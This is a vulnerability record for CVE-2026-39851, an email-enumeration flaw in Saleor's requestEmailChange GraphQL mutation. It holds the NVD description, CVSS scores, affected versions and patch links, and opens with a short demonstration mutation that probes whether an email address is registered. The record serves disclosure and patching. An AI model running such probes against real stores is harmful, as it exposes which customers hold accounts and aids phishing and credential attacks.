CVE-2026-39851

# GraphQL mutation to demonstrate email enumeration # Usage: Send this request to the /graphql endpoint with valid authentication mutation { requestEmailChange( newEmail: "[email protected]", # Email address to check existence password: "current_user_password", redirectUrl: "https://example.com/redirect" ) { errors { field message # Analyze the message content to determine if the email exists } } }

{"cve": {"id": "CVE-2026-39851", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:26.620", "lastModified": "2026-04-20T20:01:43.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saleor is an e-commerce platform. From 2.10.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, the requestEmailChange() mutation was revealing the existence of user-provided email addresses in error messages. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.10.0", "versionEndExcluding": "3.20.118", "matchCriteriaId": "276853A9-A9F2-46A0-8B3F-1C4706BD134C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.21.0", "versionEndExcluding": "3.21.54", "matchCriteriaId": "2312AF3F-A049-4E4B-AAEF-21D7B5463A3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.22.0", "versionEndExcluding": "3.22.47", "matchCriteriaId": "ABB6E342-967D-4F4D-9869-BC24C630ACEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha0:*:*:*:*:*:*", "matchCriteriaId": "086CBDFF-B1C4-4AD4-9F39-00B028E29338"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "404B7EE8-9CE0-4B8D-B0B7-2DF60F355E72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "6DD7D745-F558-4CBE-9110-2F7DCBCF4D2F"}]}]}], "references": [{"url": "https://github.com/saleor/saleor/commit/7be352fa8c35875d6e66d36493ca7c14c101bd64", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/cdb66da97abb7c86939e384914cd8d9194f378e8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/d6a94e95bd77f3f733fa66afd1b1ac72e863ca2a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/e42aa4d6e588982e78942b033af051c8ec8f43fa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/commit/f0371bdd4cafcc841f1a9e7049cead6133bf7464", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/saleor/saleor/security/advisories/GHSA-m3rm-m4vq-27x7", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}